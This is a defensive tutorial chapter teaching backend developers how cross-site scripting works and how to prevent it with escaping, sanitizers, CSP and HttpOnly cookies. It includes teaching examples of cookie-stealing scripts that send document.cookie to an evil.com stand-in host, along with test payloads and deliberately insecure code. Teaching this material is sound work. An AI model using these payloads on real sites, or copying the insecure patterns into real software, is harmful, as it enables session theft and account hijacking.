Cross-Site Scripting
Table of Contents
Understanding Cross-Site Scripting
Cross-Site Scripting, usually written as XSS, is one of the most common and dangerous web vulnerabilities. As a backend developer you must understand how it works and how to prevent it, even though the attack often happens inside the user’s browser.
This chapter explains XSS from a backend perspective, with many concrete examples and safe patterns you can apply in your APIs and templates.
Key idea: XSS happens when untrusted input (usually from a user) is rendered as HTML or JavaScript without proper escaping or validation, so that the browser interprets it as code instead of text.
What XSS Can Do
XSS is powerful because the attacker’s code runs in the victim’s browser as if it came from your site. This usually means:
| What attacker can do | Example |
|---|---|
| Steal session data | Read cookies and send them to attacker’s server |
| Perform actions as the victim | Send POST requests, change account settings, make purchases |
| Change or fake UI | Show fake login forms to steal passwords |
| Spread malware | Inject scripts that load malicious content from other servers |
| Deface pages | Replace visible text or images |
For example, a malicious script can run in the user’s browser:
// Attacker code running in victim's browser
const img = document.createElement('img');
img.src = 'https://evil.com/steal?cookie=' + encodeURIComponent(document.cookie);
document.body.appendChild(img);
If your site uses cookie-based sessions and cookies are not marked HttpOnly, the attacker can steal session cookies and hijack user accounts.
Types of XSS
There are three main categories of XSS. Understanding them helps you recognize where to put defenses.
Reflected XSS
Reflected XSS occurs when untrusted input is included in a single HTTP response without proper escaping, usually in search results, error messages, or query parameters.
Flow:
- Attacker crafts a link with malicious JavaScript in a parameter.
- Victim clicks the link.
- Server takes the parameter and reflects it in the HTML response.
- Browser executes the script.
Example link:
https://example.com/search?q=<script>alert("XSS")</script>Server-side template (insecure):
<p>You searched for: {{ query }}</p>
If the template engine inserts query without escaping HTML, the browser will see:
<p>You searched for: <script>alert("XSS")</script></p>
The <script> tag will run.
Stored XSS
Stored XSS occurs when the malicious data is saved in your database or another persistent storage, then shown to many users.
Flow:
- Attacker submits malicious content, for example in a comment, username, or profile bio.
- Server stores it.
- Later, other users load a page that reads this data from the database.
- The malicious script is rendered and executed in their browsers.
Example comment stored in DB:
Nice post! <script>fetch('https://evil.com?c=' + document.cookie)</script>If your page renders comments as raw HTML, every user that views the post can trigger the attack.
Stored XSS is often more dangerous than reflected XSS because it can affect many users automatically, without them clicking a special link.
DOM-based XSS
DOM-based XSS does not require the server to inject the script directly. Instead, JavaScript on the page manipulates the DOM in an unsafe way using untrusted data.
Flow:
- Browser loads a legitimate page.
- Client-side JavaScript reads untrusted data, for example from
location.searchorlocation.hash. - JavaScript inserts that value into the DOM using dangerous APIs such as
innerHTML. - The browser executes the inserted script.
Client-side example:
// Insecure: inserting untrusted value into innerHTML
const params = new URLSearchParams(window.location.search);
const name = params.get('name'); // attacker controls this
document.getElementById('greeting').innerHTML = 'Hello ' + name;If the user visits:
https://example.com/?name=<img src=x onerror=alert("XSS")>
The browser will execute the onerror handler.
As a backend developer, you do not control the frontend JavaScript, but you should be aware that sending raw user content to the frontend increases the risk if the frontend handles it unsafely.
How XSS Relates to Backend Development
You might think XSS is a frontend problem because the attack runs in the browser. However, backend choices strongly influence XSS risk:
- How you store user input (comments, names, custom fields).
- How you render templates on the server.
- How you format data for APIs, especially HTML content or markdown.
- How you configure security headers, such as Content Security Policy.
- How you escape or sanitize content in emails and other HTML outputs.
A safe backend:
- Treats all user input as untrusted.
- Properly encodes data when sending it to the browser.
- Validates where HTML is truly needed and restricts it heavily.
- Uses framework defaults that auto escape templates.
Common XSS Sources in Backend Applications
HTML Templates with User Data
You will often render HTML templates with user content, such as:
- Usernames
- Posts or comments
- Error messages that reflect what the user submitted
- Search queries
Insecure pattern:
<p>Welcome, {{ username }}</p>If the template system does not escape HTML, then a username like:
<script>alert("XSS")</script>becomes executable code.
Safer pattern, if your engine does not auto escape:
<p>Welcome, {{ escape(username) }}</p>Or rely on template engines that auto escape by default, such as Jinja2 in its default configuration.
Raw HTML from Users
Some apps allow users to submit HTML or markdown, for example blog platforms or forums. This is naturally risky.
Example workflow:
- User writes markdown or HTML.
- Backend converts it to HTML.
- Backend sends the HTML to the browser to render.
If you do not sanitize the HTML, users can inject scripts:
# My Post
Normal text.
<script>/* malicious code */</script>
Backend should use a trusted HTML sanitizer to remove scripts and event attributes, for example removing <script>, onclick, onerror, style with expression(), etc.
Query Parameters in Responses
Even if you send mostly JSON, some endpoints still serve HTML. Search pages and error pages often reflect query parameters such as q, page, or redirect.
An insecure pattern:
# Conceptual pseudo-code (template rendering)
return HTML(f"Your query was: {request.query_params['q']}")Safer pattern:
- Never build HTML strings by hand.
- Pass values into templates and let the template engine escape them.
- Or escape them manually if required.
How Browsers Interpret Untrusted Data
From the browser’s perspective, it receives an HTML document and parses it. Any of these contexts can execute JavaScript:
| Context type | Example |
|---|---|
<script> tag | <script>alert(1)</script> |
| Event attributes | <img src="x" onerror="alert(1)"> |
javascript: URLs | <a href="javascript:alert(1)">Click</a> |
| Inline CSS expressions | style="background:url(javascript:...)" |
| Inline handlers in SVG | Example of event attributes inside <svg> |
If user input can land in these places as raw content, XSS is likely.
Preventing XSS, Core Principles
From the backend side, you fight XSS by combining several strategies.
Core defense rule: Treat all input as untrusted, and encode or sanitize it based on output context before sending it to the browser.
1. Use Auto Escaping in Templates
Most server-side template engines support auto escaping:
- Jinja2 (
{{ variable }}escapes HTML by default). - Django templates.
- Many others.
Concept:
- If you output
{{ username }}the engine converts<to<,>to>, and"to". - So
<script>alert(1)</script>becomes harmless text.
Example:
<p>Welcome, {{ username }}</p>
If username = '<script>alert(1)</script>', the browser will actually see:
<p>Welcome, <script>alert(1)</script></p>Never disable auto escaping unless you are absolutely sure the content is safe.
2. Context-Aware Escaping
HTML has different contexts:
| Output context | Escaping needed |
|---|---|
| Element content | Escape <, >, &, " |
| HTML attribute | Escape as above, plus handle quotes carefully |
| URL parameters | URL encode using encodeURIComponent or equivalent |
| JavaScript string | Escape quotes, backslashes, newlines, etc |
Example: inserting in an attribute:
<img src="/avatars/{{ username }}.png">
If username contains " onerror="alert(1)", it can break out of the attribute. You must ensure your template engine escapes for attribute context or avoid putting untrusted data in attributes directly.
3. Avoid Building HTML Strings in Code
As a backend developer, do not construct full HTML manually using string concatenation with untrusted data.
Bad:
html = "<p>Hello " + username + "</p>"
return HTMLResponse(html)Better:
- Use a template file and pass data as variables.
- Or use a library that handles escaping.
4. Sanitize Rich Text Inputs
If your application allows rich text, HTML, or markdown, you need a sanitizer.
Typical approach:
- Backend receives user input as text.
- Backend renders markdown to HTML.
- Backend passes HTML through a sanitizer library that:
- Removes
<script>,<iframe>,<object>,<embed>, etc. - Removes event attributes like
onclick,onerror. - Restricts allowed tags to a safe subset like
<p>,<b>,<i>,<a>,<ul>,<li>,<code>,<pre>. - Store only sanitized HTML or sanitize every time before output.
Avoid writing your own sanitizer. Use maintained libraries built for this purpose.
Manual Encoding Examples
Sometimes you respond with JSON but later render that JSON in HTML on another page. Encoding correctly in the backend reduces risk.
Example: Escaping HTML Special Characters
Minimal encoding (pseudocode):
def html_escape(text: str) -> str:
return (text
.replace("&", "&")
.replace("<", "<")
.replace(">", ">")
.replace('"', """)
.replace("'", "'"))Use this only conceptually. In real code, use built-in escaping functions or your framework’s helpers.
Example: Safe JSON Responses
JSON itself does not execute JavaScript. However, if someone embeds JSON directly into a <script> tag, problems can appear.
For typical REST APIs:
- Return plain JSON from your backend.
- Do not wrap JSON in HTML or JavaScript.
- Use
application/jsoncontent type.
Example safe JSON:
{
"comment": "<script>alert('XSS')</script>"
}This does not execute code by itself. It only becomes dangerous if the frontend uses it incorrectly, for example:
// INSECURE front-end: building HTML with innerHTML
commentContainer.innerHTML = response.comment;From backend side, encourage frontend teams to use:
commentContainer.textContent = response.comment; // safeSecurity Headers that Help Against XSS
Backend services can add HTTP response headers that reduce XSS impact.
Content Security Policy (CSP)
CSP is a powerful header that limits what resources a page can load and where scripts can come from.
Example CSP header:
Content-Security-Policy: default-src 'self'; script-src 'self'This tells the browser:
- Load everything by default only from the same origin.
- Run JavaScript only if it comes from the same origin and not inline.
Benefits:
- Blocks many injected scripts, especially if you avoid
unsafe-inline. - Makes it harder for attackers to run arbitrary JS, even if some HTML is compromised.
For more advanced setups, you can allow specific CDNs:
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.comX-XSS-Protection
This is an older header for legacy browsers, and many modern browsers ignore it, but you might still encounter it.
X-XSS-Protection: 1; mode=blockThis asks the browser to attempt reflected XSS detection and block the response. It should not replace proper escaping and CSP.
HttpOnly Cookies
While not directly preventing XSS, HttpOnly cookies limit damage.
If a cookie is marked HttpOnly, JavaScript cannot read it with document.cookie. If XSS exists, the attacker may be unable to steal the session cookie.
Backend example:
Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Lax
Always mark session cookies as HttpOnly.
Examples of Unsafe vs Safe Backend Code
Example 1: Reflected Search Term
Insecure:
# Pseudo-code
def search(request):
q = request.query_params.get("q", "")
html = f"<h1>Results for: {q}</h1>"
return HTMLResponse(html)
If q = '<script>alert(1)</script>', this results in XSS.
Safer with Templates:
def search(request):
q = request.query_params.get("q", "")
return templates.TemplateResponse(
"search.html",
{"request": request, "query": q}
)
search.html:
<h1>Results for: {{ query }}</h1>
Assuming {{ query }} is auto escaped, the page shows safe text.
Example 2: User Profile with Bio
Insecure stored XSS risk:
# Save bio directly in DB and later render as raw HTML
def show_profile(user_id):
user = get_user(user_id)
return HTMLResponse(f"<p>{user.bio}</p>")
If bio contains <script>...</script>, it runs.
Safer with escaping:
def show_profile(user_id):
user = get_user(user_id)
return templates.TemplateResponse(
"profile.html",
{"request": request, "user": user}
)
profile.html:
<p>{{ user.bio }}</p> <!-- auto escaping -->Or, if you allow only limited HTML, sanitize bio before storing or before rendering.
Testing and Detecting XSS During Development
As a backend developer, you should learn to recognize possible XSS locations and test them.
Test Payloads
Simple test values:
<script>alert(1)</script><img src=x onerror=alert(1)><svg onload=alert(1)>"><script>alert(1)</script>
You can put these into form fields, query parameters, or any user input and see how they appear on the page.
If the browser shows the script or element as text, your escaping works. If it executes an alert dialog, there is a problem.
Checklist for Backend XSS Review
Use this checklist when reviewing backend code:
| Question | If "yes", check for XSS |
|---|---|
| Does any endpoint render HTML directly? | Ensure templates auto escape or encode output |
| Are user inputs reflected in error or status pages? | Escape values in responses |
| Does your API output HTML or markdown? | Sanitize stored or returned content |
| Do you allow users to customize HTML content? | Use a sanitizer and strict allowed tags list |
| Are you building any HTML manually with string ops? | Replace with templates or encoding helpers |
Are session cookies missing HttpOnly flag? | Add HttpOnly and Secure |
Backend Best Practices Against XSS
To summarize practical guidelines for your backend:
Backend XSS prevention rules:
- Never trust user input. Treat everything from clients as untrusted.
- Use auto escaping templates. Do not disable escaping by default.
- Avoid manual HTML string building. Use templates or libraries.
- Sanitize rich text or HTML inputs. Use a maintained sanitizer library.
- Use appropriate security headers. Especially
Content-Security-Policy. - Mark session cookies as HttpOnly. Reduce impact if XSS occurs.
- Limit where HTML is allowed. Prefer plain text unless absolutely necessary.
- Review any feature that stores user content. Comments, bios, messages, etc.
As you build backend services for real applications, combine these practices with secure coding on the frontend to keep your users safe from XSS attacks.
Views: 6
KAHIBARO